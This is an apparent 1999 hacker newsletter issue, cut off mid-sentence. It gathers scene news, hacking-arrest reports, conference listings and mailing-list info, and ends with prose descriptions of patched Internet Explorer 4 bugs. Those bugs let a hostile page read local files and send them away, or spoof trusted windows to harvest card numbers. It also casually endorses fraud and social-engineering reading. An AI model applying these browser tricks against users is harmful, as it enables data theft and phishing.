[ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= ========================================================================== = <=-[ HWA.hax0r.news ]-=> = ========================================================================== [=HWA'99=] Number 5 Volume 1 1999 Feb 99 ========================================================================== "Farewell to Bikkel and demoniz issue ... we'll all miss you..." - Ed Synopsis -------- The purpose of this newsletter is to 'digest' current events of interest that affect the online underground and netizens in general. This includes coverage of general security issues, hacks, exploits, underground news and anything else I think is worthy of a look see. This list is NOT meant as a replacement for, nor to compete with, the likes of publications such as CuD or PHRACK or with news sites such as AntiOnline, the Hacker News Network (HNN) or mailing lists such as BUGTRAQ or ISN nor could any other 'digest' of this type do so. It *is* intended however, to compliment such material and provide a reference to those who follow the culture by keeping tabs on as many sources as possible and providing links to further info, its a labour of love and will be continued for as long as I feel like it, i'm not motivated by dollars or the illusion of fame, did you ever notice how the most famous/infamous hackers are the ones that get caught? there's a lot to be said for remaining just outside the circle... @HWA ------------------------------------------------------------------------- Welcome to HWA.hax0r.news ... #5 ------------------------------------------------------------------------- Issue #5 early release, Feb 8th 1999 What, me worry? Issue #6 will be released Feb 13th 1999 as we move towards a weekly release schedule ... _____/[ INDEX ]\___________________________________________________________ Key Content --------------------------------------------------------------------------- 0.0 .. COPYRIGHTS 0.1 .. CONTACT INFORMATION & SNAIL MAIL DROP ETC 0.2 .. SOURCES 0.3 .. THIS IS WHO WE ARE 0.4 .. WHAT'S IN A NAME? why `HWA.hax0r.news'? 0.5 .. THE HWA_FAQ V1.0 ---------------------------------------------------------------------------- A.A .. Bikkel is no more, demoniz quits the news scene. 1.0 .. Greets 1.1 .. Last minute stuff, rumours, newsbytes, mailbag 2.0 .. From the editor 2.1 .. POWAR? - "Knowledge may be POWER but POWAR is knowledge" 3.0 .. INFOSEC World 4.0 .. DEFCON 7 5.0 .. Hackertown 6.0 .. Yet more MSIE bugs 6.1 .. Not to be outdone, NETSCAPE bugs ... 7.0 .. The Datalynx hole 8.0 .. Mailzone, latest exploits and etc from Bugtraq+ traffic 9.0 .. Off The Hook Off The Air? 10.0 .. The Caligula Virus 11.0 .. Unphamiliar Territory, 10 yrs of hacker culture immortalized H.W .. Hacked Websites A.0 .. APPENDICES A.1 .. PHACVW linx and references --------------------------------------------------------------------------- @HWA'98/99 A.A 100% Bikkel is no more ~~~~~~~~~~~~~~~~~~~~~~ The End update by demoniz at Feb 5 , 12:45 CET This will come, without doubt, as a surprise to you, 100 % Pure Bikkel quits. For a long time now I published daily news for the hacker scene, several times a day, seven days a week. A typical example of a hobby which got out of hand. A hobby which became a fulltime job. And a job which gave me a lot of recognition, but unfortunately didn't pay my bills. No I do not quit because there's little money coming in through this site. Nor do I have financial difficulties. I quit because I want to. I want to devote myself again to my other job, a freelance journalist here in the Netherlands. I thought about this during my holiday and gave it some more thought in the past weeks. It's a well thought-out, rational decision. Sure I could reduce the number of updates. More time, no 'The End.' I won't do it. I live by the motto: 'If you can't do it right, don't do it at all.' News works in mysterious ways. It's time-independent. If there's news, it has to be published immediate. Otherwise you'll behind the times. I don't want that. It's time to move on. And that's what I'm about to do. Greetz to you all demoniz Greets and thanks update by demoniz at Feb 5 , 12:45 CET It wouldn't be possible to maintain this site without the help of all contributors. I'd like to thank all of you for submitting news. Without you there wouldn't be any news. There are some people who deserve some 'special' attention. Qubik: The man behind the show. Spikeman: Submitted on a regular base news. You rule. Space Rogue: Editor of HNN. Several breaking stories made you the man. Ken Williams: We all know Packet Storm Security and we all love it. splazzatch & loser: My favorite posters on the board. Iron-Lungs: Man, I wrote so much about you, you just have to be on this list :) cruciphux: Editor of hwa.hax0r.news. My favorite ezine. Damn funny. thejian: Just a cool guy who often gave me news. (Very likely that I forgot to mention someone, forgive me :) Goodbye ~~~~~~~ Thanks for the great site demoniz, best wishes and good luck with your other "real" job, and we hope to see you "around" from time to time. - Cruciphux and the staff of HWA. @HWA 0.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT (LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ). Important semi-legalese and license to redistribute: YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE APPRECIATED the current link is http://welcome.to/HWA.hax0r.news IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL ME PRIVATELY current email cruciphux@dok.org THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS: I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE AND REDISTRIBUTE/MIRROR. - EoD Although this file and all future issues are now copyright, some of the content holds its own copyright and these are printed and respected. News is news so i'll print any and all news but will quote sources when the source is known, if its good enough for CNN its good enough for me. And i'm doing it for free on my own time so pfffft. :) No monies are made or sought through the distribution of this material. If you have a problem or concern email me and we'll discuss it. cruciphux@dok.org Cruciphux [C*:.] 0.1 CONTACT INFORMATION AND MAIL DROP ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wahoo, we now have a mail-drop, if you are outside of the U.S.A or Canada / North America (hell even if you are inside ..) and wish to send printed matter like newspaper clippings a subscription to your cool foreign hacking zine or photos, small non-explosive packages or sensitive information etc etc well, now you can. (w00t) please no more inflatable sheep or plastic dog droppings, or fake vomit thanks. Send all goodies to: HWA NEWS P.O BOX 44118 370 MAIN ST. NORTH BRAMPTON, ONTARIO CANADA L6V 4H5 Ideas for interesting 'stuff' to send in apart from news: - Photo copies of old system manual front pages (signed by you) ;-) - Photos of yourself, your mom, sister, dog and or cat in a NON compromising position plz I don't want pr0n. - Picture postcards - CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250 tapes with hack/security related archives, logs, irc logs etc on em. - audio or video cassettes of yourself/others etc of interesting phone fun or social engineering examples or transcripts thereof. If you still can't think of anything you're probably not that interesting a person after all so don't worry about it Our current email: Submissions/zine gossip.....: hwa@press.usmc.net Private email to editor.....: cruciphux@dok.org Distribution/Website........: sas72@usa.net @HWA 0.2 Sources *** ~~~~~~~~~~~ Sources can be some, all, or none of the following (by no means complete nor listed in any degree of importance) Unless otherwise noted, like msgs from lists or news from other sites, articles and information is compiled and or sourced by Cruciphux no copyright claimed. HiR:Hackers Information Report... http://axon.jccc.net/hir/ News & I/O zine ................. http://www.antionline.com/ News/Hacker site................. http://www.bikkel.com/~demoniz/ News (New site unconfirmed).......http://cnewz98.hypermart.net/ Back Orifice/cDc..................http://www.cultdeadcow.com/ News site (HNN/l0pht),............http://www.hackernews.com/ Help Net Security.................http://help.ims.hr News,Advisories,++ ...............http://www.l0pht.com/ NewsTrolls (HNN)..................http://www.newstrolls.com/ News + Exploit archive ...........http://www.rootshell.com/beta/news.html CuD ..............................http://www.soci.niu.edu/~cudigest News site+........................http://www.zdnet.com/ +Various mailing lists and some newsgroups, such as ... http://www.the-project.org/ .. IRC list/admin archives http://www.anchordesk.com/ .. Jesse Berst's AnchorDesk alt.hackers.malicious alt.hackers alt.2600 BUGTRAQ ISN security mailing list ntbugtraq <+others> NEWS Agencies, News search engines etc: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.cnn.com/SEARCH/ http://www.foxnews.com/search/cgi-bin/search.cgi?query=cracker&days=0&wires=0&startwire=0 http://www.news.com/Searching/Results/1,18,1,00.html?querystr=cracker http://www.ottawacitizen.com/business/ http://search.yahoo.com.sg/search/news_sg?p=cracker http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=cracker http://www.zdnet.com/zdtv/cybercrime/ http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column) NOTE: See appendices for details on other links. Referenced news links ~~~~~~~~~~~~~~~~~~~~~ http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm http://freespeech.org/eua/ Electronic Underground Affiliation http://www.l0pht.com/cyberul.html http://www.hackernews.com/archive.html?122998.html ... Submissions/Hints/Tips/Etc ~~~~~~~~~~~~~~~~~~~~~~~~~~ All submissions that are `published' are printed with the credits you provide, if no response is received by a week or two it is assumed that you don't care wether the article/email is to be used in an issue or not and may be used at my discretion. Looking for: Good news sites that are not already listed here OR on the HNN affiliates page at http://www.hackernews.com/affiliates.html Magazines (complete or just the articles) of breaking sekurity or hacker activity in your region, this includes telephone phraud and any other technological use, abuse hole or cool thingy. ;-) cut em out and send it to the drop box. - Ed Mailing List Subscription Info (Far from complete) Feb 1999 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ ~~~~~~~~ ISS Security mailing list faq : http://www.iss.net/iss/maillist.html THE MOST READ: BUGTRAQ - Subscription info ~~~~~~~~~~~~~~~~~~~~~~~~~~~ What is Bugtraq? Bugtraq is a full-disclosure UNIX security mailing list, (see the info file) started by Scott Chasin . To subscribe to bugtraq, send mail to listserv@netspace.org containing the message body subscribe bugtraq. I've been archiving this list on the web since late 1993. It is searchable with glimpse and archived on-the-fly with hypermail. Searchable Hypermail Index; http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html About the Bugtraq mailing list ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The following comes from Bugtraq's info file: This list is for *detailed* discussion of UNIX security holes: what they are, how to exploit, and what to do to fix them. This list is not intended to be about cracking systems or exploiting their vulnerabilities. It is about defining, recognizing, and preventing use of security holes and risks. Please refrain from posting one-line messages or messages that do not contain any substance that can relate to this list`s charter. I will allow certain informational posts regarding updates to security tools, documents, etc. But I will not tolerate any unnecessary or nonessential "noise" on this list. Please follow the below guidelines on what kind of information should be posted to the Bugtraq list: + Information on Unix related security holes/backdoors (past and present) + Exploit programs, scripts or detailed processes about the above + Patches, workarounds, fixes + Announcements, advisories or warnings + Ideas, future plans or current works dealing with Unix security + Information material regarding vendor contacts and procedures + Individual experiences in dealing with above vendors or security organizations + Incident advisories or informational reporting Any non-essential replies should not be directed to the list but to the originator of the message. Please do not "CC" the bugtraq reflector address if the response does not meet the above criteria. Remember: YOYOW. You own your own words. This means that you are responsible for the words that you post on this list and that reproduction of those words without your permission in any medium outside the distribution of this list may be challenged by you, the author. For questions or comments, please mail me: chasin@crimelab.com (Scott Chasin) BEST-OF-SECURITY Subscription Info. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ _/_/_/ _/_/ _/_/_/ _/ _/ _/ _/ _/ _/_/_/ _/ _/ _/_/ _/ _/ _/ _/ _/ _/_/_/ _/_/ _/_/_/ Best Of Security "echo subscribe|mail best-of-security-request@suburbia.net" or "echo subscribe|mail best-of-security-request-d@suburbia.net" (weekly digest) REASONS FOR INCEPTION --------------------- In order to compile the average security administrator, it was found that the compiler had to parse a foreboding number of exceptionally noisy and semantically devoid data sets. This typically resulted in dramatically high load averages and a frightening increase in core entropy. Further, the number, names and locations of required datum seem to change on an almost daily basis; requiring tedious version control on the part of the mental maintainer. OVERVIEW --------- Best-of-Security is at presently moderated randomly based on a cryptographically secure RNG. Bizarre? Sound strange given our stated purpose of massive entropy reduction? Because best often equates with "vital" and the moderator doesn't have an MDA habit it is important that material sent to this list be delivered to its subscribers' in as minimal period of time as is (in)humanly possible. [ Actually, that isn't the only reason; following the Prodigy liability verdict, content-active moderators were found to have the legal burdens of regular publishers. BOS gets some dubious people posting very interesting things from undisclosed sources. -Mod ] If you find information from *any* source (including other mailinglists, newsgroups, conference notes, papers, etc) that fits into one of the acceptable categories described at the end of this document then you should *immediately* send it to "best-of-security@suburbia.net". Do not try and predict whether or not someone else will send the item in question to the list in the immediate future. Unless your on a time-delayed mail vector such as polled uucp or the item has already appeared on best-of-security, mail the info to the list! Even if it is a widely deployed piece of information such as a CERT advisory the proceeding argument still applies. If the information hasn't appeared on this list yet, then SEND IT. It is far better to run the risk of minor duplication in exchange for having the information out where it is needed than act conservatively about occasional doubling up on content. We do, of course take original posts. In the famous last words of Marylin Munroe, CORE Digest and Joachim Kroll: "meat, we want meat". Consult the below lists for what we will and will not accept. WILL WILL WILL WILL WONT WONT WONT WONT DO DO DO DO DONT DONT DONT DONT ------------------- ------------------- 8lgm, cert, ciac, dod and other Any flames. non-vendor advisories. Any questions. Vendor advisories of security Any rumors. weaknesses in own or other products. Sigs with >2 lines of Vendor new security-product line commercial information. release or MAJOR upgrade. Minor upgrade information. Fully disclosed security weaknesses. "there is a hole in X" Exploitation details. Any advertising. Exploitation code. Subscription, unsubscription or Patch code. mailing list queries. Patch announcements. Any requests. Hard to obtain or otherwise occulted Vague or incomprehensible source code or uuencoded executables. statements of dysfuctional Conference announcements. persons. Security tools. Opinionated rantings such as Blond jokes. those on the ethics of full NEW or hard to obtain security disclosure or computer hackers. documents (ascii), or pointers to Quotes from the Uliad. the location of such documents/papers. Old or otherwise well known Announcements of new security archives information or pointers to or mailinglists. that information. Human language translations of the above. Messages under 700 bytes. SUBSCRIBING ----------- Send mail to: best-of-security-request@suburbia.net or best-of-security-request-d@suburbia.net (digest) with the subject or body of: subscribe UN-SUBSCRIBING ------------- Send mail to: best-of-security-request@suburbia.net or best-of-security-request-d@suburbia.net (digest) with the subject or body: unsubscribe POSTING ------- To send a message to the list, address it to: best-of-security@suburbia.net ARCHIVES -------- Back issues of best-of-security digest are available from: ftp://suburbia.net/pub/mailinglists/best-of-security You can also instruct the mailing list processor to automatically scan and retrive messages from the archive. It understands the following commands: get filename ... ls directory ... egrep case_insensitive_regular_expression filename ... maxfiles nnn version Aliases for 'get': send, sendme, getme, gimme, retrieve, mail Aliases for 'ls': dir, directory, list, show Aliases for 'egrep': search, grep, fgrep, find Lines starting with a '#' are ignored. Multiple commands per mail are allowed. Setting maxfiles to zero will remove the limit (to protect you against yourself no more than maxfiles files will be returned per request). Egrep supports most common flags. Examples: ls latest (the latest directory containes the archived messages) get latest/12 egrep some.word latest/* TECHNICAL --------- The list processor software is based on the excellent Procmail/Smartlist by Stephen R. van den Berg with some minor extensions by Julian Assange . -- "I mean, after all; you have to consider we're only made out of dust. That's admittedly not much to go on and we shouldn't forget that. But even considering, I mean it's sort of a bad beginning, we're not doing too bad. So I personally have faith that even in this lousy situation we're faced with we can make it. You get me?" - Leo Burlero/PKD +---------------------+--------------------+----------------------------------+ |Julian Assange RSO | PO Box 2031 BARKER | Secret Analytic Guy Union | |proff@suburbia.net | VIC 3122 AUSTRALIA | finger for PGP key hash ID = | |proff@gnu.ai.mit.edu | FAX +61-3-98199066 | 0619737CCC143F6DEA73E27378933690 | +---------------------+--------------------+----------------------------------+ @HWA 0.3 THIS IS WHO WE ARE ~~~~~~~~~~~~~~~~~~ Legacy staff ~~~~~~~~~~~~ sas72@usa.net ............. currently active cruciphux@dok.org.......... currently active Foreign Correspondants ~~~~~~~~~~~~~~~~~~~~~~ N0Portz ..........................: Australia Qubik ............................: United Kingdom system error .....................: Indonesia Wile (wile coyote) ...............: Japan/the East :-p 1. We do NOT work for the government in any shape or form. 2. Unchanged since issue #1, @HWA 0.4 Whats in a name? why HWA.hax0r.news?? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Well what does HWA stand for? never mind if you ever find out I may have to get those hax0rs from 'Hackers' or the Pretorians after you. In case you couldn't figure it out hax0r is "new skewl" and although it is laughed at, shunned, or even pidgeon holed with those 'dumb leet (l33t?) dewds' this is the state of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you up and comers, i'd highly recommend you get that book. Its almost like buying a clue. Anyway..on with the show .. - Editorial staff 0.5 HWA FAQ v1.0 Dec 31st 1998/1999 (Abridged) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Also released in issue #3. (unchanged) check that issue for the faq it won't be reprinted unless changed in a big way with the exception of the following excerpt from the FAQ, included to assist first time readers: Some of the stuff related to personal useage and use in this zine are listed below: Some are very useful, others attempt to deny the any possible attempts at eschewing obfuscation by obsucuring their actual definitions. != - Mathematical notation "is not equal to" or "does not equal" ASC(247) "wavey equals" sign means "almost equal" to. If written an =/= (equals sign with a slash thru it) also means !=, =< is Equal to or less than and => is equal to or greater than (etc, this aint fucking grade school, cripes, don't believe I just typed all that..) AAM - Ask a minor (someone under age of adulthood, usually <16, <18 or <21) *AOL - A great deal of people that got ripped off for net access by a huge clueless isp with sekurity that you can drive buses through, we're not talking Kung-Fu being no good here, Buy-A-Kloo maybe? EoC - End of Commentary EoA - End of Article EoF - End of file EoD - End of diatribe (AOL'ers: look it up) CC - Credit Card phraud CCC - Chaos Computer Club (Germany) NFC - Depends on context: No Further Comment or No Fucking Comment NFR - Network Flight Recorder (Do a websearch) PHAC - And variations of same Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare Alternates: H - hacking, hacktivist C - Cracking C - Cracking W - Warfare CT - Cyber Terrorism TBC - To Be Continued also 2bc (usually followed by ellipses...) :^0 TBA - To Be Arranged/To Be Announced also 2ba TFS - Tough fucking shit. "At least we know for sure which *century* Windows 2000 (aka NT Workstation 5.0) will ship in.." - Ed 1.0 Greets!?!?! yeah greets! w0w huh. - Ed ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Thanks to all in the community for their support and interest but i'd like to see more reader input, help me out here, whats good, what sucks etc, not that I guarantee i'll take any notice mind you, but send in your thoughts anyway. Shouts to: * Kevin Mitnick * demoniz * The l0pht crew * tattooman * Dicentra * Pyra * Vexxation * FProphet * TwistedP * NeMstah * the readers * all the people who sent in cool emails and support * our new 'staff' members. kewl sites: + http://www.freshmeat.net/ + http://www.slashdot.org/ + http://www.l0pht.com/ + http://www.2600.com/ + http://hacknews.bikkel.com/ (http://www.bikkel.com/~demoniz/) + http://www.legions.org/ + http://www.genocide2600.com/ + http://www.genocide2600.com/~tattooman/ + http://www.hackernews.com/ (Went online same time we started issue 1!) @HWA 1.1 Last minute stuff, rumours and newsbytes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +++ When was the last time you backed up your important data? ++ Wired: Federal judge allows Sony Playstation clone software by Connectix to continue shipping ... http://www.wired.com/news/news/email/explode-infobeat/politics/story/17753.html ++ Wired: Credit Fixing fraud used the internet to scam methods involving fake id and various scams to secure credit... interesting read for the social engineering / fake id fans .. http://www.wired.com/news/news/email/explode-infobeat/politics/story/17701.html ++ Yahoo: AFA Cadet Charged With Hacking - (COLORADO SPRINGS) -- Another Air Force Academy cadet is in trouble... charged with hacking into the computers of three private companies and causing more than 40-thousand dollars in damage. 21 yr-old Christopher Wiest... a junior at the Academy near Colorado Springs... faces up to ~~~~~~~~~~~ 15 and a half years in federal prison, and a discharge from the service if he is ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ found guilty on court-martial charges. Air Force officials say the Wiest case is the first case of computer hacking to reach court-martial in that branch of military service. Attorneys for Wiest say the Air Force has the wrong man. Wiest is from Pittsburgh, Pennsylvania. His court-martial could begin as early as next month. Last week, the Air Force Academy announced it was investigating a handful of cadets for mail theft. That investigation is still underway. http://dailynews.yahoo.com/headlines/local/state/colorado/story.html?s=v/rs/19990203/co/index_2.html#2 ++ HNN/WCCO Assoc.Press 'Local Computer Hacker Hits In South University of Arkansas Believes Passwords Stolen' ".. Police said the hacker has invaded computers in at least five states and likely faces federal charges..." "The breach was discovered Jan. 21. The university found evidence the system may have been first hacked in November...The university is plugging holes in its computer system to prevent other hackers from gaining access. " via HNN/Associated Press (c) 1999 WCCO: http://www.wcco.com/news/stories/news-990205-213944.html 2.0 From the editor. ~~~~~~~~~~~~~~~~ #include #include #include main() { printf ("Read commented source!\n\n"); /* * We all gno that its not a matter of IF your system is going to *fail but a question of WHEN. Thats what MTBF stands for, mean time *between failure. All hardware fails. Wetware should know that hw *fails and compensate for it. My wetware failed to follow this rule & *as a result I lost weeks of work. Lazyness? yeah. stupid fuck? you *bet your ass I feel stupid. Anyway the rule is, back-up backup some *more, then backup again. If a guy who's been around the block as many *times as I have can be bitten on the ass it can happen to you too. *Nuff'said, lecture over, I remain yours in ignorance, Cruciphux. * */ printf ("EoF.\n"); } Issue #5! ... have at it ... Congrats, thanks, articles, news submissions and kudos to us at the main address: hwa@press.usmc.net complaints and all nastygrams and mailbombs can go to /dev/nul nukes, synfloods and papasmurfs to 127.0.0.1, private mail to cruciphux@dok.org danke. C*:. @HWA 2.1 POWAR - An idea who's time has come(?) opens itself up for inspection =--=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= By HWA Staff, Feb '99 =-=-=-=-=-=-=-=-=-=-=-= P.O.W.A.R - PHACVW Online Web Archive Resource Well at the moment it is little more than a somewhat trendy catch- phrase but its an idea that AFAIK has not yet been attempted by the online world, specifically the online underground world. What POWAR stands for, other than an attempt at being catchy is PHAC Online Web Archive Ring (or Resource, if you prefer) what POWAR attempts to do is bring people in the underground together to be distribution nodes for a vast list of growing files (checked out Packetstorm lately?) creating one decentralized source for info and files by means of a distributed web approach. Consider a list of 1000 1 meg files of various import, a master list would be maintained by all POWAR net sites. Each site might have 4 of the listed files, with the rest being distributed among other POWAR sites. Advantages: Participants can maintain unique site characteristics but newbie cookie-cutter sites won't be turned away so long as they try and maintain their perspective in the ring if nothing else, it will give them a firm foundation point from which to build their own online presence. * No porno banners will be allowed (* up for debate) on POWAR sites the net is about dissemination of information not ramming titty down kiddiez throats, I know where to go for tit, I don't need to see it on every second phac site thanks... All the eggs aren't in one basket, if one site goes down another in the queue can take its place and offer its' files One site doesn't control access to all the files One site's speed doesn't determine accessibility to files One country doesn't determine authority over the POWAR project files archive. Disadvantages: All links in the chain must maintain contact with each other to determine the current health of the net and monitor downed sites or adjust for heavy traffic items to be distributed to offset the xfer load. possible adverse affect on general net use if Geocities/Tripod etc decide to ban 'POWAR' sites. Coordination either manually or automatically, preferably the former since the latter begs open assaults by government or other hacking groups. Its a simple enough concept, perhaps too simple, I'll leave this hanging in the wind and perhaps put a poll out to see what people think of the idea on a web board or two. Meanwhile send any comments, suggestions, ideas or requests to the zine at hwa@press.usmc.net with 'POWAR' in the subject line. To either sign up or make a comment etc, if 'joining' include your website url and how much space you can dedicate to the project and what else you may be willing to do or who else you can contact that may be of service to this goal and we'll take it from here. This is not an attempt at flouting the HWA name or myself, merely something I had eating away at the back of my mind for some time now and decided to let it out and see what people thought .... so there it is. Cruciphux@dok.org / hwa@press.usmc.net @HWA 3.0 INFOSEC World ~~~~~~~~~~~~~ March 15-17, 1999 Optional Workshops March 14 & 18 Exhibit Expo March 15 & 16 Hilton at Disney World Village, Orlando, Florida The All-in-One Event That Includes: + Open Systems Security '99 - MIS'/ISI's premier conference on protecting information in an internetworked world + The ISSA Annual Conference - The highly anticipated gathering of the leading membership organization dedicated to information security + InfoSec Expo World - The expanded exhibition of leading infosec products and services, featuring more than 75 vendors Hot Topics and Cool Solutions - Secure active Web content - Single sign-on - Network packet analyzers - Creating secure extranets - Remote access security - Computer forensics - Hacker tools and trends - Penetration testing - Secure messaging - Kerberos and PKI integration - Tools for auditing cyberspace - NT vs. Unix: Which is safer? - Beating hackers at their own game - Intrusion detection - Securing Unix in a TCP/IP environment - Digital certificate pilots And much more The conference registration fee is: For ISSA members, conference only - $795 For ISSA members, conference plus 1 workshop - $1090 For ISSA members, conference plus 2 workshops - $1365 For ISSA Chapter Presidents, conference only - $595 For non-members, conference only - $995 For non-members, conference plus 1 workshop - $1290 For non-members, conference plus 2 workshops - $ 1565 To encourage chapter attendance, the following attendance fee discounts are being provided by ISSA: ISSA will rebate $297.00 (an amount equal to half of the Chapter President's registration fee of $595.00) if the chapter meets the following attendance goals, and ISSA meets it's target of getting more than 96 total attendees: - Chapters with less than 30 members need to have 4 paid members attending the conference - Chapters with between 30 - 50 need 7 paid attendees - Chapters with over 50 members need 9 paid attendees. The ISSA Annual Meeting will be held at the conference, and Board election results will be announced. Plan to join us. Check out the MIS Training Institute site for more details and for registration information. For information about last year's conference, check out MIS98. Last updated 1/22/99 @HWA 4.0 DEFCON 7 and other CON's ~~~~~~~~~~~~~~~~~~~~~~~~ DEFCON7 - 7th year running. ~~~~~~~~~~~~~~~~~~~~~~~~~~~ From the site (http://www.defcon.org/) "DEF CON 7 is July 9-11th, 1999 in Las Vegas! 1.27.99 I've updated the DEF CON 7 area, and will be adding speakers this week. I'll move on to the other poeples pages next. A new HTTP, FTP, and Real Audio server is being built, and will hopefully go online in Feb. " UseNix & Sage Networking'99 ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Approved-By: aleph1@UNDERGROUND.ORG Date: Fri, 29 Jan 1999 13:37:44 -0800 Reply-To: Cynthia Deno Sender: Bugtraq List From: Cynthia Deno Subject: USENIX NETWORKING '99 X-To: cynthia@usenix.org To: BUGTRAQ@netspace.org For the first time, USENIX and SAGE are bringing together the community of network administrators -- Share in expertise learned at sites of all sizes from throughout the world. Gain mastery of new technologies, techniques, and strategies for managing complex networks. Tutorials * Invited Talks * Refereed Papers * Hosted Luncheons * Receptions * Birds-of-a-Feather Sessions NETWORKING '99 April 7-12, 1999 Santa Clara Marriott Hotel Santa Clara, California, USA Sponsored by USENIX, the Advanced Computing Systems Association Co-Sponsored by SAGE, the System Administrators Guild WEB SITE: http://www.usenix.org/networking99 Networking '99 includes: CONFERENCE ON NETWORK ADMINISTRATION Wednesday and Thursday, April 7-8, 1999 Outstanding speakers share their expertise and experience of the latest network technologies in case studies of real networks and refereed research papers. NETWORKING TUTORIAL PROGRAM Friday and Saturday, April 9-10, 1999 Courses tailored to many levels of experience and spanning a wide range of topics in network administration and computer security. Bring home skills you can use immediately. WORKSHOP ON INTRUSION DETECTION AND NETWORK MONITORING Sunday and Monday, April 11-12, 1999 Meet and learn from the researchers and practitioners who are deploying the state of the art in techniques and technologies which can help you maintain your network's security by "automatically" detecting weaknesses or attacks in progress. For the full tutorial and technical program, and online registration, http://www.usenix.org/networking99 ---------------- The USENIX Association's international membership includes engineers, scientists, and technicians working on the cutting edge of systems and software. SAGE, a special technical group within USENIX, is devoted to the advancement and recognition of system administration as a profession. USENIX and SAGE are co-sponsors of the highly regarded LISA--System Administrators Conference. CanCon99 ~~~~~~~~ And don't forget we need people for CanCon'99/2k, speakers wanted!, we expect to have full details (or close to it) for a date in August, summer of 1999 also a follow-up bash for New-Years (Hacking the new millennium CanCon'2k) if the summer vomit proves extraordinarily popular. Join the mailing list on the CanCon99 page off the main HWA.hax0r.news site. @HWA 5.0 Hackertown ~~~~~~~~~~ Seen via HNN (http://www.hackernews.com/) { "Welcome to hackertown." This is a new hosting service for websites about specific subjects, based on the old codezone and adapted by the WH team. category of sites ht is only for truly informative websites about advanced technology- related topics, such as computing, security, networking. we will accept to give accounts only for websites that meets our requirements. the WH team has the responsibility to choose whether a concept is accepted or not. (See site for examples of sites NOT accepted). free account features > unlimited URLs > unlimited web space (web content, ie. html/txt/cgi) > no storage space (ie. file libraries/archives) > unlimited transfers/hits/whatever > unix operating system > unlimited e-mail forwarders/aliases > unlimited cgi/bin (must contact admin) > server-side includes > technical support > ssl secure server standard account features ($10/year) > full shell account > ftp/telnet access > pop3 mailbox > 5mb storage space (ie. file libraries/archives) sign-up send a e-mail to sw3wn@csoft.net with a summary of your project; we'll send you a response in a day or two if it's accepted. if you want the optional features ($10/year), you can pay either by check/money order or credit card to cubesoft communications. e-mail for more info. } @HWA 6.0 More MSIE bugs & NT peculiarities ... ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Discovered and published by George Guninski http://www.geocities.com/ResearchTriangle/1711 Guninski's IE 4 reading AUTOEXEC.BAT. There is a bug in Internet Explorer 4.x (patched) which allows reading local files and sending them to an arbitrary server. The problem is: if you add '%01someURL' after the an about: URL, IE thinks that the document is loaded from the domain of 'someURL'. This circumvents "Cross-frame security" and opens several security holes. This will try to read C:\AUTOEXEC.BAT using TDC. The bug may be exploited using HTML mail message. The exploit uses Javascript. For more info see the source. Workaround: Disable Javascript. Written by http://www.geocities.com/ResearchTriangle/1711 - Georgi Guninski Guninski's IE 4 window spoofing. http://www.geocities.com/ResearchTriangle/1711/read4.html There is a bug in Internet Explorer 4.01 (patched) which allows "window spoofing". The problem is: if you add '%01someURL' after the URL, IE thinks that the document is loaded from the domain of 'someURL'. This circumvents "Cross-frame security" and opens several security holes. After visiting a hostile page (or clicking a hostile link) a window is opened and its location is a trusted site. However, the content of the window is not that of the original site, but it is supplied by the owner of the page. So, the user is mislead he is browising a trusted site, while he is browsing a hostile page and may provide sensitive information, such as credit card number. The bug may be exploited using HTML mail message. The exploit uses Javascript. Workaround: Disable 